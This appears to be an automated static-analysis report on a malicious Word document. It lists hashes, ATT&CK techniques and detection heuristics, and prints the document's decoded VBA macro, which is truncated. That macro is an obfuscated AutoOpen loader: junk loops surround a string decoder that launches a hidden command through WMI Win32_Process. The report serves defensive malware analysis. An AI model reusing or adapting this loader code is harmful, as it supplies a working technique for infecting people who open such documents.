Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 669ba6231a3c2eae…

MALICIOUS

Office (OLE)

231.0 KB Created: 2019-09-20 07:30:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: fffa6ce5e74e21019a3bcb0b2c7d1ab3 SHA-1: 5cbb5d49106148f9d6ade6c6f3f4eda1a709fc5e SHA-256: 669ba6231a3c2eae46a73f3d03299d1e28f2f02fb3aa3ab5e0ac69323c5ab6fc
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing an obfuscated VBA macro. Heuristics indicate the macro uses CreateObject and execution sinks, suggesting it's a loader for a secondary payload. The presence of an AutoOpen macro and the critical heuristic for an obfuscated auto-exec loader strongly suggest this file's purpose is to initiate a malicious execution chain.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-7172474-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7172474-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22441 bytes
SHA-256: ae998f96dbc8b6fd8afc2817da6b6b42f433d972d8837d547c127c4a601dcd83
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "FikbdQZ, 0, 0, MSForms, TextBox"
Attribute VB_Control = "N2SpOiID, 1, 1, MSForms, TextBox"
Attribute VB_Control = "mwXI7m, 2, 2, MSForms, TextBox"
Attribute VB_Control = "P83AcXTu, 3, 3, MSForms, TextBox"
Attribute VB_Control = "QFa7Tzv, 4, 4, MSForms, TextBox"
Attribute VB_Control = "TCRM9sqj, 5, 5, MSForms, TextBox"
Attribute VB_Control = "VEYjp2, 6, 6, MSForms, TextBox"
Attribute VB_Control = "VHfL_K2S, 7, 7, MSForms, TextBox"
Attribute VB_Control = "w6kwiq, 8, 8, MSForms, TextBox"
Attribute VB_Control = "hjjzVw, 9, 9, MSForms, TextBox"
Attribute VB_Control = "cZDuVz, 10, 10, MSForms, TextBox"
Attribute VB_Control = "JSEp1Hh, 11, 11, MSForms, TextBox"
Attribute VB_Control = "uXSvzY, 12, 12, MSForms, TextBox"
Attribute VB_Control = "GoWsRhk, 13, 13, MSForms, TextBox"
Attribute VB_Control = "zJWspwz, 14, 14, MSForms, TextBox"
Attribute VB_Control = "kE4iQQr, 15, 15, MSForms, TextBox"
Attribute VB_Control = "TRF9Wz, 16, 16, MSForms, TextBox"
Attribute VB_Control = "qijkYG, 17, 17, MSForms, TextBox"
Attribute VB_Control = "btn5hVS, 18, 18, MSForms, TextBox"
Attribute VB_Control = "GUl0LE, 19, 19, MSForms, TextBox"

Attribute VB_Name = "snLF1V"
Function dztj37()
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If M3oCwG = PFAGKSc Then
         HnhIwa = Tan(1141)
      End If
         R6wTtT = Btc0KuW * CDate(fCMUHn) / pUBdAcb / WLAEkzsu + (z5_aQ54 / CStr(q2NS516) / 3 * CStr(uBRAVT))
      For Each jMCQik In tkw6vj
         CzAN5H = oc2GT0i - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(FRqJIU) - 6977 - MAPHFj - A9hSFQf9 * Sin(Bt4u6CG)
      Next
Loop Until PcG7it_ = zir7hM
kMmT3s = vq219c + UMvDUH(ThisDocument.zJWspwz + ThisDocument.VHfL_K2S) + YAHvQ_
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If LXv84MXp = JSjBjs Then
         rZcdZKRX = Tan(1141)
      End If
         wD6C32mJ = TAw0Fzm * CDate(C0DzNIbd) / dpjKqtAS / iaXsMY1 + (TniCd0t / CStr(k5bY2L) / 3 * CStr(t1HQFfiz))
      For Each fVn1T1_ In BnCM82w
         zQkMRi = ZNRIEN - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(Ghn4llZ) - 6977 - UF1nKaU6 - wDZDIUTV * Sin(L8Zz21)
      Next
Loop Until lnY3HW = jXUw9Oz

CreateObject(UMvDUH("IuH3IuH3wIuH3iIuH3nmgIuH3mtIuH3sIuH3IuH3:IuH3WIuH3IuH3iIuH3n3IuH32_PIuH3roIuH3cIuH3eIuH3ssIuH3")).Create kMmT3s, ZKnIZEfd, R3tnEz2D, khjUo3du
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If wWOoNnTo = MSfBRT Then
         QvB9VD = Tan(1141)
      End If
         z8FYLah = z5liGH * CDate(TuYSA6) / KWit9B / tqXjFCw + (pSZQnNn / CStr(wT5D9BcE) / 3 * CStr(wMR9tP))
      For Each mjHV7os In LDjJ6zM
         XzsVHACu = bUqA9z5 - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(jYQWvaN) - 6977 - vDZE63w - UYGTL2Tr * Sin(CmXBWjb)
      Next
Loop Until X975_m = zcazMGDf

   On Error Resume Next
   Set mna = xqmm6672
   Do
      If Pu1R8IUO = aXF2_4qQ Then
         EaYS6RQw = Tan(1141)
      End If
         nkfcdqD = tcDLLb * CDate(lsaWRUr) / ShWp3jNB / tnXUzJ0O + (MM3V6h / CStr(GdQwslU) / 3 * CStr(j_72KM))
      For Each mWYlNTFO In HpAvVal
         iE7w_S0 = cLEAWn - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(lA6KKk) - 6977 - J3J3pfPR - hzkYTP82 * Sin(cISYkJs)
      Next
Loop Until Sff8wzaz = B8wUj_W
End Function
Function UMvDUH(jNQUnno)
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If CP2pOzYD = m_MLhXX Then
         UPMZSQ = Tan(1141)
      End If
         busmGEX = huhEoJG * CDate(az_UGd0) / a21jZbL3 / pn7zEK + (N0vGGku / CStr(fMoOoWO3) / 3 * CStr(EUG4z12))
      For Each d_7JYztz In nP1obkp
         HRs8wo = HG0RQi - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(zqDQZ7) - 6977 - YjRQrq - Hz5p3D * Sin(mjjrHIf)
      Next
Loop Until Xb5lam = diSWXniz
UMvDUH = Replace(jNQUnno, Replace("09NhI
... (truncated)